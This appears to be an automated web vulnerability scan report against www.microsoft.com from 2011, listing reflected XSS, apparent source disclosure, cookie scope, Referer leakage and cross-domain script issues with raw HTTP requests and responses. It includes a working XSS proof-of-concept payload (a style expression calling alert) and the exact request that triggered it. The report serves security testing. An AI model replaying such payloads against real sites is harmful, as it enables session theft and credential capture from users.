The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8fec7"style%3d"x%3aexpression(alert(1))"e5569d9e7cf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 8fec7"style="x:expression(alert(1))"e5569d9e7cf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Issue background
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
Request
GET /industry/government/solutions/usgcb/default.aspx?8fec7"style%3d"x%3aexpression(alert(1))"e5569d9e7cf=1 HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 Set-Cookie: USPS_Visitor=F,0,0,0,0,999,adb3dc45-354b-4815-8800-524e872c6661,0,en,8/26/2011 12:49:35 PM; expires=Fri, 26-Aug-2061 19:49:35 GMT; path=/ VTag: 438339432200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:49:35 GMT Content-Length: 208535
Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.
Issue remediation
Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.
The application appears to disclose some server-side source code written in PHP.
Request
GET /en-us/cloud/cloudpowersolutions/private_cloud.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:54 GMT Last-Modified: Thu, 25 Aug 2011 18:44:10 GMT ETag: 634498694500000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 43872131000000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:54 GMT Content-Length: 75424
The application appears to disclose some server-side source code written in PHP.
Request
GET /en-us/cloud/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:54 GMT Last-Modified: Thu, 25 Aug 2011 18:44:10 GMT ETag: 634498694500000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 79181230600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:53 GMT Content-Length: 27709
The application appears to disclose some server-side source code written in PHP.
Request
GET /pl-pl/cloud/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:16:29 GMT Last-Modified: Tue, 28 Jun 2011 10:04:28 GMT ETag: 634448270680000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279682143100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:28 GMT Content-Length: 25757
The application appears to disclose some server-side source code written in PHP.
Request
GET /sqlserver/en/us/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:45 GMT Last-Modified: Thu, 25 Aug 2011 19:58:15 GMT ETag: 634498738950000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279891131200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:36 GMT Content-Length: 64628
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /en-us/default.aspx?hroid=ctl00_ctl14_PivotItemsRepeater_ctl00_SubPivotBodyRepeater_ctl01_ctl01_ColumnRepeater_ctl00_RowRepeater_ctl00_CellRepeater_ctl00_ctl01&hroi=-1 HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:34 GMT Last-Modified: Mon, 22 Aug 2011 18:53:24 GMT ETag: 634496108040000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791448431300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:34 GMT Content-Length: 219146
GET /en-us/default.aspx?accid=ctl00_ctl14_PivotItemsRepeater_ctl00_SubPivotBodyRepeater_ctl01_ctl01_ColumnRepeater_ctl00_RowRepeater_ctl00_CellRepeater_ctl01_ctl01&acci=0 HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:35 GMT Last-Modified: Mon, 22 Aug 2011 18:53:24 GMT ETag: 634496108040000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791784330900000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:34 GMT Content-Length: 217586
GET /en-us/default.aspx?crsid=ctl00_ctl14_PivotItemsRepeater_ctl00_SubPivotBodyRepeater_ctl01_ctl01_ColumnRepeater_ctl00_RowRepeater_ctl01_CellRepeater_ctl00_ctl01&crsci=0 HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:39 GMT Last-Modified: Mon, 22 Aug 2011 18:53:24 GMT ETag: 634496108040000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791683231200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:38 GMT Content-Length: 218666
GET /en-us/default.aspx?pvti=1 HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:32 GMT Last-Modified: Mon, 22 Aug 2011 18:53:24 GMT ETag: 634496108040000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279228531000000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:32 GMT Content-Length: 211387
GET /en-us/default.aspx?pvti=1&pvtsi=0 HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:34 GMT Last-Modified: Thu, 25 Aug 2011 16:15:38 GMT ETag: 634498605380000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791621231500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:34 GMT Content-Length: 208905
GET /en-us/default.aspx?bldi=0 HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:32 GMT Last-Modified: Mon, 22 Aug 2011 18:53:24 GMT ETag: 634496108040000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438764931100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:31 GMT Content-Length: 211428
GET /en-us/default.aspx?mnui=0 HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:32 GMT Last-Modified: Mon, 22 Aug 2011 18:53:24 GMT ETag: 634496108040000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438759031200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:31 GMT Content-Length: 211393
GET /events/series/technetmms.aspx?tab=webcasts HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438461800400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:17:22 GMT Content-Length: 41014
GET /licensing/default.aspx?WT.mc_id=MSCOM_HP_US_BL_Licensing HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:40:06 GMT Last-Modified: Tue, 23 Aug 2011 19:30:35 GMT ETag: 634496994350000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 VTag: 791421843200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:30:06 GMT Content-Length: 45939
GET /poland/hardware/mouseandkeyboard/productlist.aspx?type=Keyboard&AdditionalType=Sets HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791376300400000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:01:36 GMT Content-Length: 46306
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /atwork/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:27:34 GMT Last-Modified: Mon, 22 Aug 2011 07:05:51 GMT ETag: 634495683510000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 79158900200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:17:33 GMT Content-Length: 57910
... <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en" lang="e ...[SNIP]... <!-- for the ad controls --> <script type="text/javascript" src="http://ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /business/default.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 49537 Content-Type: text/html; charset=iso-8859-1 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279264330500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:02 GMT
<html dir="LTR"><head><META http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><META name="MS.LOCALE" content="en-us"><title>Microsoft for Business and Industry</title><meta name="desc ...[SNIP]... <center><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /da/dk/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:50:52 GMT Last-Modified: Thu, 18 Aug 2011 12:31:35 GMT ETag: 634492422950000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279271442300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:40:52 GMT Content-Length: 102919
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="da"><head><title> ...[SNIP]... <li id="vrtc_ad_default" class="vrtc_ad_hidden"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /de/at/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:50:52 GMT Last-Modified: Mon, 22 Aug 2011 15:23:28 GMT ETag: 634495982080000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279251042500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:40:52 GMT Content-Length: 87462
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="de"><head><title> ...[SNIP]... <div class="cspAd"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /de/ch/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:50:53 GMT Last-Modified: Mon, 22 Aug 2011 08:57:24 GMT ETag: 634495750440000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438390742600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:40:52 GMT Content-Length: 86876
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="de"><head><title> ...[SNIP]... <div class="cspAd"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
GET /download/en/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:38:23 GMT Last-Modified: Tue, 23 Aug 2011 17:51:05 GMT ETag: 634496934650000000 Server: Microsoft-IIS/7.5 Set-Cookie: MS_SRDR=downloadOptInState=optIn&downloadSiteID=982E5968-67CF-4DCD-891E-39CC43A50DDB; expires=Sat, 27-Aug-2011 19:28:23 GMT; path=/ X-AspNet-Version: 2.0.50727 VTag: 791192410300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:28:23 GMT Content-Length: 144873
GET /en-us/cloud/cloudpowersolutions/private_cloud.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:54 GMT Last-Modified: Thu, 25 Aug 2011 18:44:10 GMT ETag: 634498694500000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 43872131000000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:54 GMT Content-Length: 75424
GET /en-us/cloud/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:54 GMT Last-Modified: Thu, 25 Aug 2011 18:44:10 GMT ETag: 634498694500000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 79181230600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:53 GMT Content-Length: 27709
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /en-us/dynamics/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:55 GMT Last-Modified: Thu, 25 Aug 2011 19:22:07 GMT ETag: 634498717270000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279104031100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:54 GMT Content-Length: 68703
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://code.jquery.com/jquery-1.5.1.min.js
Request
GET /en-us/security_essentials/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:57 GMT Last-Modified: Mon, 18 Jul 2011 20:49:00 GMT ETag: 634465937400000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791254330800000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:56 GMT Content-Length: 127233
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /en/ca/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:37:21 GMT Last-Modified: Tue, 23 Aug 2011 04:00:40 GMT ETag: 634496436400000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 VTag: 791757731000000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:27:21 GMT Content-Length: 88412
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head><title> ...[SNIP]... <li id="vrtc_ad_default" class="vrtc_ad_hidden"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /en/hk/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
